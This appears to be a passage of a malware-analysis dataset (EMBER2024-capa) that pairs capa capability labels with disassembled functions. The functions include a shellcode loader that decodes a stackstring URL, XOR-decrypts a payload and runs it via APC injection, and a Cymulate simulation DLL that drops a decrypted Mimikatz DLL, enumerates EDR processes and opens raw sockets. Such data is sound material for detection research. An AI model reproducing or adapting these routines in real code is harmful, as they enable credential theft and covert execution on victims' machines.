joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov eax, 0x68
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x11]
mov word [rbp + 0xf], ax
mov eax, 0x36
mov qword [rsp + 0xb0], rdi
mov word [rbp + 0x35], ax
mov eax, 0x73
mov dword [rbp + 0x11], 0x740074
mov dword [rbp + 0x15], 0x3a0070
mov dword [rbp + 0x19], 0x2f002f
mov dword [rbp + 0x1d], 0x77006e
mov word [rbp + 0x3b], ax
mov dword [rbp + 0x21], 0x640070
mov dword [rbp + 0x25], 0x700076
mov dword [rbp + 0x29], 0x2e006a
mov dword [rbp + 0x2d], 0x6e0063
mov dword [rbp + 0x31], 0x33002f
mov dword [rbp + 0x37], 0x640030
mov dword [rbp + 0x3d], 0x2e0062
mov dword [rbp + 0x41], 0x70006a
xor edi, edi
mov dword [rbp + 0x45], 0x67
call fcn.140001480
mov r11, qword [rbp - 0x11]
mov rdx, qword [rbp - 9]
cmp rdx, r11
je 0x140001758
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov r10d, edi
lea rsi, str.hrsgdsb
mov r9d, edi
mov ebx, edi
nop dword [rax + rax]
movsx ecx, byte [r9 + rsi]
mov eax, 0x4ac525d3
inc r9
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r10d
add cl, 0x4f
xor byte [rbx + r11], cl
mov r11, qword [rbp - 0x11]
add edx, r10d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r10d, edx
mov rdx, qword [rbp - 9]
cmove r9, rdi
inc r10d
mov r8, rdx
sub r8, r11
movsxd rax, r10d
inc rbx
cmp rax, r8
jb 0x140001690
mov rsi, qword [rsp + 0xa8]
lea r9, [rbp - 0x19]
sub rdx, r11
mov r8d, 0x40
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rbp - 0x11]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rdi
mov r11, qword [rbp - 0x11]
mov rbx, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xb0]
test r11, r11
je 0x14000176d
mov rcx, r11
call fcn.140002420
xor eax, eax
add rsp, 0x90
pop rbp
ret

Function at 0x140003dc0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003c30
Function at 0x140006e30
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010f70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000354c
xor ebx, ebx
cmp qword [0x140012038], rbx
mov rdi, rax
jne 0x140006f43
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000701a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000701a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012048], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012058], rax
test rax, rax
je 0x140006f3a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012050], rax
jmp 0x140006f4a
mov rax, qword [0x140012050]
jmp 0x140006f51
mov rax, qword [0x140012050]
mov r11, qword [0x140012058]
cmp rax, rdi
je 0x140006fb8
cmp r11, rdi
je 0x140006fb8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012058]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140006fb8
test rax, rax
je 0x140006fb8
call rsi
test rax, rax
je 0x140006fb2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140006fb2
test byte [rsp + 0x40], 1
jne 0x140006fb8
bts ebp, 0x15
jmp 0x140006ff8
mov rcx, qword [0x140012040]
cmp rcx, rdi
je 0x140006ff8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006ff8
call rax
mov rbx, rax
test rax, rax
je 0x140006ff8
mov rcx, qword [0x140012048]
cmp rcx, rdi
je 0x140006ff8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140006ff8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012038]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000701a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000701c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005b50
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007367
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140010f70]
jne 0x140005b6a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005b66
repz ret
ror rcx, 0x10
jmp 0x1400072c0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012100]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400121f8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007345
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012100]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007367
mov rax, qword [rsp + 0x88]
mov qword [0x1400121f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140012198], rax
mov rax, qword [0x1400121f8]
mov qword [0x140012070], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140012180], rax
mov dword [0x140012060], 0xc0000409
mov dword [0x140012064], 1
mov rax, qword [0x140010f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140010f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400120f8], eax
mov ecx, 1
call fcn.140006e28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d6a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400120f8], 0
jne 0x1400073ee
mov ecx, 1
call fcn.140006e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180002b70
Capabilities:
Create thread
Enumerate processes

Disassembly:
mov r11, rsp
push rbp
sub rsp, 0x280
mov rax, qword [0x180068020]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbp, qword [0x18006abc8]
xor edx, edx
mov qword [r11 + 8], rbx
xor ebx, ebx
mov qword [r11 + 0x18], rdi
lea ecx, [rbx + 6]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180002c75
xor edx, edx
mov dword [rsp + 0x30], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call fcn.180022f00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180002c6c
mov qword [rsp + 0x298], rsi
nop
lea rdx, str.CymulateEDRScenarioGenerator.exe
lea rcx, [rsp + 0x5c]
call fcn.180026ff4
test eax, eax
je 0x180002c1a
lea rdx, str.CymulateEDRScenarioExecutor.exe
lea rcx, [rsp + 0x5c]
call fcn.180026ff4
test eax, eax
jne 0x180002c34
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x180002c4d
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180002bf0
test rbx, rbx
je 0x180002c64
jmp 0x180002c5b
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x298]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x2a0]
mov rbx, qword [rsp + 0x290]
mov r9, qword [rbp + 0x88]
test r9, r9
je 0x180002cc8
lea r8, str..pipe_s_p
xor edx, edx
xor ecx, ecx
call fcn.1800021b0
inc eax
movsxd rcx, eax
call fcn.180011270
mov r8, qword [rbp + 0x88]
lea rdx, str..pipe_s_p
mov rcx, rax
mov qword [rbp + 0x98], rax
call fcn.180002150
mov qword [rsp + 0x28], 0
lea r8, [0x180002210]
mov r9, rbp
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x58], rax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180010bf0
add rsp, 0x280
pop rbp
ret
Function at 0x180002d10
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x180068020]
xor rax, rsp
mov qword [rsp + 0x278], rax
mov rdi, rcx
mov qword [rsp + 0x20], rcx
xor edx, edx
lea ecx, [rdx + 6]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180002dba
mov dword [rsp + 0x30], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call fcn.180022f00
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180002db1
nop word [rax + rax]
lea rdx, str.CymulateEDR.exe
lea rcx, [rsp + 0x5c]
call fcn.180026ff4
mov rcx, rbx
test eax, eax
jne 0x180002da2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x180002dd6
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180002d80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rdi + 0x80]
lea rdx, str.Log:isEDRProcessRunning:false:_s__n
mov rcx, rdi
call fcn.1800022f0
xor al, al
jmp 0x180002dd6
mov rcx, qword [rsp + 0x278]
xor rcx, rsp
call fcn.180010bf0
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret
Function at 0x180002e00
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x20
mov r9, qword [rcx + 0x88]
lea r8, str.Global_s_m
mov rbx, rcx
xor edx, edx
xor ecx, ecx
call fcn.1800021b0
inc eax
movsxd rcx, eax
call fcn.180011270
mov r8, qword [rbx + 0x88]
lea rdx, str.Global_s_m
mov rcx, rax
mov rbp, rax
call fcn.180002150
cmp byte [rbx + 0x50], 0
jne 0x180002f7c
nop word [rax + rax]
mov r8, rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
test rax, rax
je 0x180002edc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180002ea3
cmp eax, 5
je 0x180002ea3
mov rcx, qword [rbx + 0x80]
lea rdx, str.APT_SCENARIO
call fcn.1800224c4
test rax, rax
je 0x180002f3c
cmp qword [rbx + 0xa8], 0
je 0x180002ec8
mov r8, qword [rbx + 0x80]
test r8, r8
je 0x180002ec8
lea rdx, str.KEEPALIVE:_s__n
mov rcx, rbx
call fcn.1800022f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002f25
mov rcx, qword [rbx + 0x80]
lea rdx, str.APT_SCENARIO
call fcn.1800224c4
test rax, rax
jne 0x180002f00
mov rcx, rbx
call fcn.180002d10
test al, al
je 0x180002f66
cmp qword [rbx + 0xa8], 0
je 0x180002f25
mov r8, qword [rbx + 0x80]
test r8, r8
je 0x180002f25
lea rdx, str.KEEPALIVE:_s__n
mov rcx, rbx
call fcn.1800022f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbx + 0x50], 0
je 0x180002e60
jmp 0x180002f7c
mov r8, qword [rbx + 0x80]
lea rdx, str.Log:keepalive_loop_break__if__ulLastError__ERROR_ALREADY_EXISTS__ulLastError__ERROR_ACCESS_DENIED__:_s__n
mov rcx, rbx
call fcn.1800022f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002f7c
mov r8, qword [rbx + 0x80]
lea rdx, str.Log:keepalive_loop_break_if__HANDLE_hMutex__CreateMutexA_0__false__pszAttackMutex__:_s__n
mov rcx, rbx
call fcn.1800022f0
mov r8, qword [rbx + 0x80]
lea rdx, str.Log:keepalive_loop_finished:_s__n
mov rcx, rbx
call fcn.1800022f0
cmp byte [rbx + 0x50], 0
jne 0x18000302e
mov r8, qword [rbx + 0x80]
lea rdx, str.Log:keepalive_loop_terminating.._:_s__n
mov rcx, rbx
call fcn.1800022f0
cmp byte [rbx + 0xa0], 0
mov rcx, rbx
jne 0x180002fdd
lea rdx, str.Log:TerminateProcess_n
call fcn.1800022f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18000302e
lea rdx, str.Log:FreeLibraryAndExitThread_FreeLibraryAndExitThreadReflected_n
call fcn.1800022f0
mov rdi, qword [rbx + 0x70]
sub rdi, qword [rbx + 0x68]
sar rdi, 3
test edi, edi
je 0x18000302e
mov qword [rsp + 0x30], rsi
mov esi, edi
shl rsi, 3
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rbx + 0x68]
lea rsi, [rsi - 8]
xor edx, edx
mov rcx, qword [rsi + rcx]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
add edi, 0xffffffff
jne 0x180003010
mov rsi, qword [rsp + 0x30]
mov edx, 1
mov rcx, rbp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp fcn.180010c10
Function at 0x1800046c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
mov r8d, 6
lea rdx, str.TargetResource
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x18000481d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x18000481d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x18000481d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x18000481d
mov esi, eax
mov ecx, eax
call fcn.180011270
mov rdi, rax
mov r8d, esi
mov rdx, r14
mov rcx, rax
call fcn.180022840
mov esi, dword [rdi]
lea rcx, [rsi + 1]
call fcn.180011270
mov r14, rax
lea r8, [rsi + 1]
xor edx, edx
mov rcx, rax
call fcn.180022f00
lea rdx, [rdi + 4]
mov r8d, esi
mov rcx, r14
call fcn.180022840
mov rdx, r14
mov rcx, rbx
call fcn.180004840
test al, al
je 0x18000481d
movzx eax, byte [rsi + rdi + 4]
mov byte [rbx + 8], al
test al, al
je 0x180004817
lea rcx, [rax + 1]
call fcn.180011270
mov qword [rbx], rax
movzx r8d, byte [rbx + 8]
inc r8
xor edx, edx
mov rcx, rax
call fcn.180022f00
movzx r8d, byte [rbx + 8]
lea rdx, [rdi + 5]
add rdx, rsi
mov rcx, qword [rbx]
call fcn.180022840
movzx eax, byte [rbx + 8]
add rax, rsi
mov ecx, dword [rax + rdi + 5]
mov dword [rbx + 0x18], ecx
call fcn.180011270
mov qword [rbx + 0x10], rax
mov r8d, dword [rbx + 0x18]
xor edx, edx
mov rcx, rax
call fcn.180022f00
mov r8d, dword [rbx + 0x18]
movzx edx, byte [rbx + 8]
add rdx, 9
add rdx, rsi
add rdx, rdi
mov rcx, qword [rbx + 0x10]
call fcn.180022840
nop
mov al, 1
jmp 0x18000481d
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x180007bf0
Capabilities:
Check if file exists
Create directory
Extract resource via kernel32 functions
Get file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov r14, rdx
mov r12, r8
mov edx, 0x66
mov r15, rcx
mov rcx, r9
mov rbx, r9
lea r8d, [rdx - 0x5c]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x180007c44
mov rcx, qword [0x18006abc8]
lea rdx, str.CymMimi::DumpMimikatzDll_FindResource_Faild._n
call fcn.180002450
xor eax, eax
jmp 0x180007e08
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x180007c6f
mov rcx, qword [0x18006abc8]
lea rdx, str.CymMimi::DumpMimikatzDll_LoadResource_Faild._n
call fcn.180002450
xor eax, eax
jmp 0x180007e08
mov rcx, rax
mov qword [rsp + 0x78], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
jne 0x180007c9f
mov rcx, qword [0x18006abc8]
lea rdx, str.Log:CymMimi::DumpMimikatzDll_LockResource_Faild._n
call fcn.180002450
xor eax, eax
jmp 0x180007e03
mov rdx, rdi
mov qword [rsp + 0x70], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x18006abc8]
lea rdx, str.Log:CymMimi::Decrypting_Mimi_DLL.._n
mov ebx, eax
mov qword [rsp + 0x48], 0
call fcn.1800022f0
mov r9, qword [r15]
lea r8, [rsp + 0x48]
mov edx, ebx
mov rcx, rsi
call fcn.180007760
mov rdx, r14
lea rcx, [0x18005e17c]
mov ebp, eax
call fcn.180001550
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180007d06
test al, 0x10
jne 0x180007d27
mov rcx, qword [0x18006abc8]
lea rdx, str.Log:CymMimi::Creating_Dir__s_n
mov r8, rbx
call fcn.1800022f0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, 1
mov rcx, rbx
call fcn.180010c10
lea rbx, str.mimidll64.dll
mov rdx, r14
mov r8, rbx
lea rcx, [0x18005e1a0]
call fcn.180001620
mov rcx, qword [0x18006abc8]
lea rdx, str.Log:CymMimi::DumpMimikatzDll_data_size_:__d_._n
mov r8d, ebp
mov qword [r12], rbx
mov rdi, rax
call fcn.180002450
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180007da9
lea rdx, str.Log:CymMimi::DumpMimikatzDll_CreateFile_Faild._n
jmp 0x180007dde
mov rdx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov r8d, ebp
mov qword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x180007dfb
lea rdx, str.Log:CymMimi::DumpMimikatzDll_WriteFile_Faild._n
mov rcx, qword [0x18006abc8]
call fcn.180002450
mov edx, 2
mov rcx, rdi
call fcn.180010c10
xor eax, eax
jmp 0x180007dfe
mov rax, rdi
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180007e20
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x20
xor ebp, ebp
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov esi, ebp
call qword [sym.imp.WS2_32.dll_GetAddrInfoW]
cmp qword [rsp + 0x50], rsi
je 0x180007f26
lea ecx, [rbp + 0x18]
mov qword [rsp + 0x40], rdi
call fcn.180010eb4
mov rbx, rax
mov qword [rax], rbp
mov qword [rax + 8], rbp
mov qword [rax + 0x10], rbp
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x180007ec0
nop dword [rax]
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x180007eb2
mov eax, dword [rax + 4]
bswap eax
mov dword [rsp + 0x48], eax
test eax, eax
je 0x180007eb2
cmp eax, 0xffffffff
je 0x180007eb2
cmp eax, 0x7f000001
je 0x180007eb2
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x180007ea5
mov dword [rdx], eax
add qword [rbx + 8], 4
jmp 0x180007eb2
lea r8, [rsp + 0x48]
mov rcx, rbx
call fcn.180008020
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x180007e70
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_FreeAddrInfoW]
mov rdi, qword [rsp + 0x40]
test rbx, rbx
je 0x180007f26
mov rcx, qword [rbx]
mov esi, dword [rcx]
test rcx, rcx
je 0x180007f19
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x180007f09
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180007f30
mov rcx, r8
call fcn.180010c10
mov qword [rbx], rbp
mov qword [rbx + 8], rbp
mov qword [rbx + 0x10], rbp
mov edx, 0x18
mov rcx, rbx
call fcn.180010c10
mov eax, esi
add rsp, 0x20
pop rsi
pop rbp
pop rbx
ret
call fcn.18002c364
int3
Function at 0x18000afc0
Capabilities:
Create raw socket
Set socket configuration

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov rdi, 0xffffffffffffffff
mov rsi, rcx
lea edx, [rdi + 2]
lea ecx, [rdi + 3]
lea r8d, [rdi + 7]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, rdi
je 0x18000b0a5
lea r9, [rsp + 0x58]
mov dword [rsp + 0x58], 1
mov edx, 0xffff
mov dword [rsp + 0x60], 1
lea r8d, [rdi - 0x80]
mov byte [rsp + 0x50], 1
mov rcx, rax
mov dword [rsp + 0x68], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x18000b08e
lea r9, [rsp + 0x60]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
lea r8d, [rdi + 9]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x18000b08e
lea r9, [rsp + 0x50]
mov dword [rsp + 0x20], 1
lea edx, [rdi + 7]
mov rcx, rbx
lea r8d, [rdi + 2]
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x18000b08e
lea r8, [rsp + 0x68]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x18000b08e
mov rdi, rbx
jmp 0x18000b0a5
mov edx, 2
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
cmp rdi, 0xffffffffffffffff
mov qword [rsi + 8], rdi
setne al
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x18000b0c0
Capabilities:
Connect socket
Get socket status

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x270
mov rax, qword [0x180068020]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov eax, dword [rcx + 0x50]
mov esi, 2
mov rbx, qword [rcx + 8]
mov ecx, 0x1bd
bswap eax
mov dword [rsp + 0x3c], eax
mov qword [rsp + 0x40], 0
mov word [rsp + 0x38], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rsi + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x38]
mov word [rsp + 0x3a], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x18000b129
mov al, 1
jmp 0x18000b17d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x18000b17b
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x208
call fcn.180022f00
lea rax, [rsp + 0x30]
mov dword [rsp + 0x50], 1
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rbx
xor edx, edx
mov qword [rsp + 0x30], rsi
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 1
je 0x18000b125
xor al, al
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180010bf0
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rsi
ret